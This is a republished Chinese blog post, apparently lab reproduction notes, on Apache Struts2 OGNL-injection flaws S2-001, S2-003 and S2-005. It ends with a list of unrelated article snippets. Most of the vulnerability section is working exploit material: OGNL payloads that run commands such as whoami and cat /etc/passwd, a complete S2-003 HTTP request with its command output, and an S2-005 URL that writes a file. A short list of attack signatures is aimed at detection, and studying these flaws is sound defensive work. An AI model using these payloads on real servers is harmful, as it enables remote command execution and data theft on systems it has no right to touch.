struts2框架漏洞

news2024/10/6 12:21:49

title: struts2框架漏洞
categories:

  • 漏洞复现
    abbrlink: 48203
    date: 2024-06-14 15:45:27

前言知识

ognl表达式注入

对象导航图语言,用于访问对象的字段、方法。基于简化访问java对象属性和调用方法需求,实现字段类型转化等功能;访问列表的元素:peoplelist[0]

//正常java代码
String name = MyUser.getName()
//表达式写法
#MyUser.name
对静态方法或变量的访问
  • java:类名.方法名
  • ognl:@类名@方法名
思考:

后端写了一段程序:使用了ognl这个功能,getValue值可控,用户传入恶意表达式,导致漏洞

%{value}将表达式值转换为字符串格式,在数据库查询参数的动态构造中非常有用

Runtime

作用域

在java中,方法的作用域指的是方法可以被访问的范围

  1. Public:公共方法,可以被任何类访问
  2. Protected:受保护方法,可以被同一包内的类和该类的子类访问
  3. Default(package-private):默认方法,只能被同一包内的类访问
  4. Private:私有方法,只能在定义该方法的类内部访问
使用Runtime时

为啥不用通过 new 这种形式来创建对象

Runtime的类构造方法定义域时private–>导致无法new一个新的对象出来

image-20240616221741744

那怎样获取Runtime的对象?
image-20240616221526053

静态方法

在java中,static关键字用于表示一个成员属于类本身,而不是某个对象

  • 无需创建类的实例即可被调用,可使用类名+方法名调用,例如ClassName.methodName()
  • 非静态成员依赖于对象实例;静态方法不依赖任何实例
如何去执行
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
    return currentRuntime;
}
定义currentRuntime的私有静态变量,初始化为一个新的Runtime对象。然后,它提供了一个公共静态方法getRuntime(),该方法返回currentRuntime变量的值。

image-20240616223228152

new Runtime(); 不能用

Runtime.getRuntime(); 获取到Runtime对象

漏洞原理

用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用ognl表达式%{value}进行解析,然后重新填充到对应的表单数据中。

例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

漏洞复现

S2-001

poc:

//获取tomcat执行路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

/usr/local/tomcat

image-20240616224658534

//获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

/usr/local/tomcat/webapps/ROOT/ 

image-20240616224911469

//执行任意命令
new java.lang.String[]{"cat","/etc/passwd"}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20240616225506526

S2-003

ognl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,通过unicode编码(u2003)或8进制即可绕过安全限制,从而操纵服务器端上下文对象

公布的poc

GET /s2_war/index.action?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27id\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=FC7DC2221FDB37EAE855C6E6A11E9CC1; _ga=GA1.1.267931382.1545202285
Connection: close

请求响应内容:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Mon, 24 Dec 2018 09:36:01 GMT
Connection: close

uid=1234556(xxxx) gid=1603212982 groups=1603212982....

S3-005

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御

  • S2-003后官方增加了安全模式(沙盒)

  • S2-005使用ognl表达式将沙盒关闭,继续使用代码

poc(无回显,空格用@代替):

/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

image-20240616231748445

进入容器可以看到/tmp下创建了success文件

image-20240616231717266

struts2攻击特征有哪些

RCE试图传⼊的命令以及执⾏结果

参数伪造,试图传⼊OGNL表达式

struts2的特征

.do .action后缀常会出现,.jsp也可能

能够处理OGNL表达式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1830120.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Matlab的BP神经网络的车牌识别系统(含GUI界面)【W7】

简介: 本系统结合了图像处理技术和机器学习方法(BP神经网络),能够有效地实现车牌的自动识别。通过预处理、精确定位、字符分割和神经网络识别,系统能够准确地识别各种车牌图像,并在智能交通管理、安防监控等…

Java | Leetcode Java题解之第155题最小栈

题目&#xff1a; 题解&#xff1a; class MinStack {Deque<Integer> xStack;Deque<Integer> minStack;public MinStack() {xStack new LinkedList<Integer>();minStack new LinkedList<Integer>();minStack.push(Integer.MAX_VALUE);}public void …

java问题解决: IDEA java 警告 源发行版 17 需要目标发行版 17

效果图 问题原因 jdk和你实际安装的jdk不匹配 解决问题 1.点击File -->Project Structure–>Project 修改这两处 2. 在Project Structure–>Modules中的红框位置都要调整对应版本 3、点击File–>settings–>java compile将对应框的版本修改成对应版本即可–改…

Docker的基本操作 及 容器与外部机互相通讯(持续更新中)

Docker入门&#xff1a; Docker 入门教程 - 阮一峰的网络日志 (ruanyifeng.com)docker入门&#xff0c;这一篇就够了。-CSDN博客Docker 容器使用 | 菜鸟教程 (runoob.com)Docker自定义网络和运行时指定IP_docker run ip-CSDN博客 基本命令 链接&#xff1a;docker入门&#…

MVC 框架安全

在现代 Web 开发中&#xff0c;使用 MVC 架构是一种流行的做法。MVC 是 Model-View-Controller 的缩写&#xff0c;它将 Web 应用分为三层&#xff0c;View 层负责用户视图、页面展示等工作&#xff1b;Controller 负责应 用的逻辑实现&#xff0c;接收 View 层传入的用户请求&…

Luma AI如何注册:文生视频领域的新星

文章目录 Luma AI如何注册&#xff1a;文生视频领域的新星一、Luma 注册方式二、Luma 的效果三、Luma 的优势四、Luma 的功能总结 Luma AI如何注册&#xff1a;文生视频领域的新星 近年来&#xff0c;Luma AI 凭借其在文生视频领域的创新技术&#xff0c;逐渐成为行业的新星。…

【如何保持专注】

今日&#x1f4d2;&#xff0c;看博主分享下保持专注的新方法&#xff0c;有点意思 &#xff0c; 怎么保持专注&#xff0c;给大家分享两个极客的方法啊。 第一个呢是来自于一个非常著名的程序员啊&#xff0c;叫做这个尼克温特&#xff0c;大家有兴趣可以查一下&#xff0c;就…

Linux源码学习笔记01-Linux内核源码结构

Linux内核特性 是一个类Unix操作系统&#xff0c;但不是简化的Unix&#xff1b;不仅继承了Unix的特征&#xff0c;还有其他特性。 Linux内核的组织形式&#xff1a;整体式的结构&#xff0c;方便每个领域的开发人员参与开发&#xff1b;Linux进程调度方式简单高效&#xff1a…

结构设计模式 - 桥接设计模式 - JAVA

桥接设计模式 一. 介绍二. 桥接模式示例2.1 定义实现部分和具体实现2.2 定义抽象部分和细化抽象部分2.3 测试2.4 解释 三. 结论 前言 这是我在这个网站整理的笔记,有错误的地方请指出&#xff0c;关注我&#xff0c;接下来还会持续更新。 作者&#xff1a;神的孩子都在歌唱 一.…

串口触摸屏分割字符串

分割字符串的方法1、split2、indexOf()3、substr(start,length) 分割字符串的方法 1、split&#xff1a;将一个字符串分割为子字符串&#xff0c;然后将结果作为字符串数组返回。 2、indexOf() &#xff1a;返回某个指定的字符串值在字符串中首次出现的位置&#xff08;从左向右…

Vue55-TodoList案例-本地存储

一、TodoList案例-本地存储 此时&#xff0c;修改对象里面的属性&#xff0c;watch监视不到&#xff01; 需要深度监视&#xff0c;就不能用简写形式&#xff01; 二、jeecg-boot中的本地存储 jeecg-boot中&#xff0c;浏览器的本地存储&#xff0c;存储的是token&#xff01;…

Vue56-组件的自定义事件

一、什么是自定义事件 二、子组件—【传值】—>父组件 2-1、prop属性 2-2、自定义事件 v-on在谁身上&#xff0c;就给谁绑定事件&#xff01; 给谁绑定的事件&#xff0c;想触发就找谁&#xff01; 2-3、prop属性VS自定义属性 2-4、简写形式 2-5、ref属性实现 加了ref属性…

Matlab自学笔记三十一:结构数组的创建、索引和预分配内存

1.概念 结构&#xff08;structure array&#xff09;是一种具有容器特性的数据类型&#xff0c;它使用称为字段的数据容器对相关数据进行分组&#xff0c;每个字段可以包含任何类型或大小的数据&#xff0c;所有元素都具有相同数量的字段和相同的字段名称。&#xff08;与元胞…

【安装笔记-20240616-Windows-Gpg4win 证书管理器】

安装笔记-系列文章目录 安装笔记-20240616-Windows-Gpg4win 证书管理器 文章目录 安装笔记-系列文章目录安装笔记-20240616-Windows-Gpg4win 证书管理器 前言一、软件介绍名称&#xff1a;Gpg4win主页官方介绍 二、安装步骤测试版本&#xff1a;Gpg4win 4.3.1下载链接安装界面…

深入了解RSA加密算法

目录 前言 一、什么是RSA&#xff1f; 二、RSA加密的基本概念 1.非对称加密 2.密钥生成 3.加密和解密 三、RSA加密的工作原理 四、RSA的应用场景 五、RSA加密解密的实现 六、RSA算法的局限性及改进措施 前言 在当今的数字化时代&#xff0c;信息的安全性成为了人们关注…

课设--学生成绩管理系统(三)

欢迎来到 Papicatch的博客 文章目录 &#x1f349;报告目的 &#x1f349;总体设计 &#x1f348; 模块处理逻辑 &#x1f349;数据库设计 &#x1f348;总览表 &#x1f348;表设计 &#x1f34d;管理员信息表 &#x1f34d;课程基本信息表 &#x1f34d;课程扩展信息…

浙大版PTA Python程序设计 题目与知识点整理(综合版)

目录 第一章 一、高级语言程序的执行方式 二、变量赋值与内存地址 三、字符编码 3.1 Unicode 3.2 ASCII&#xff08;American Standard Code for Information Interchange&#xff09; 四、编程语言分类按照编程范式分类 4.1 面向过程语言 4.2 面向对象语言 五、原码…

LabVIEW电子类实验虚拟仿真系统

开发了基于LabVIEW开发的电子类实验虚拟仿真实验系统。该系统通过图形化编程方式&#xff0c;实现了复杂电子实验操作的虚拟化&#xff0c;不仅提高了学生的操作熟练度和学习兴趣&#xff0c;而且通过智能评价模块提供即时反馈&#xff0c;促进教学和学习的互动。 项目背景 在…

飞书API 2-1:如何通过 API 创建文件夹?

本文探讨如何通过飞书的 API 来创建文件夹。通过 API 创建的文件夹&#xff0c;一般是放在共享空间&#xff0c;如果要放在个人空间&#xff0c;建议手动创建。 查看 API 文档 API 路径&#xff0c;可在飞书开放平台的服务端 API&#xff0c;依次查找云文档>云空间>文件…

多种方案图文并茂分分钟教你解决Kubernetes(k8s)容器安全问题(不断更新中)

文章目录 Kubernetes&#xff08;k8s&#xff09;Secrets in clear text environment variables 明文中的秘密环境变量问题详解 解决方案一STEP1: 创建Kubernetes Secret - 编写一个yaml文件STEP2: 部署执行上述yamlSTEP3: 将Secret作为卷挂载到Pod中-在项目部署K8S.yaml中挂载…